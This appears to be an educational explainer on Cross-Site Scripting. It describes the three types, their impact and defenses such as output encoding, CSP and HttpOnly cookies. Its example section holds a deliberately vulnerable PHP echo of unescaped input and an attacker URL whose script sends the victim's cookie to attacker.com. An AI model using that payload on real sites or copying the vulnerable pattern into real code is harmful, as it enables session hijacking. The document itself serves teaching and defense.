What is it?
Cross-Site Scripting (XSS) is a widespread vulnerability that occurs when an application includes untrusted data in a web page without proper validation or escaping. This allows an attacker to execute malicious scripts (usually JavaScript) in the victim's browser.
Why does it matter?
When an attacker can execute arbitrary script in a user's browser, they gain the ability to completely bypass the Same Origin Policy. This means they can:
- Steal session cookies and hijack user accounts.
- Perform actions on behalf of the user (e.g., transferring funds, changing passwords).
- Capture keystrokes or inject fake login forms (keylogging / phishing).
- Redirect the user to malicious websites.
How it works (The Three Types)
1. Stored XSS (Persistent)
The malicious payload is permanently stored on the target server (e.g., in a database, comment field, or message board). When a victim navigates to the affected page, the server serves the malicious payload along with the legitimate content.
2. Reflected XSS (Non-Persistent)
The injected payload is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. It requires the victim to click a crafted link.
3. DOM-based XSS
The vulnerability exists in client-side code rather than server-side code. The payload is executed as a result of modifying the DOM environment in the victim's browser, meaning the malicious payload may never actually reach the backend server.
Example
// Vulnerable PHP Code Example (Reflected XSS)
<?php
$name = $_GET['name'];
echo "<h1>Welcome, " . $name . "!</h1>";
?>
// Attacker URL:
https://example.com/welcome.php?name=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>Defensive Guidance & Prevention
Preventing XSS requires a defense-in-depth approach. No single control is sufficient for a complex application.
- Context-Aware Output Encoding: Never trust user input. Before rendering data into the DOM or HTML, encode it according to its context (HTML body, JavaScript variable, CSS, or URL). Frameworks like React and Angular do this automatically for standard variables, but you must still be careful with APIs like
dangerouslySetInnerHTML. - Content Security Policy (CSP): Implement a strict CSP to restrict where scripts can be loaded from and prevent the execution of inline scripts.
- Input Validation: Validate all input against a strict allowlist of expected characters, types, and lengths. Reject anything that doesn't match.
- Secure Cookies: Always use the
HttpOnlyflag on session cookies so they cannot be accessed viadocument.cookiein JavaScript, mitigating the impact of an XSS compromise.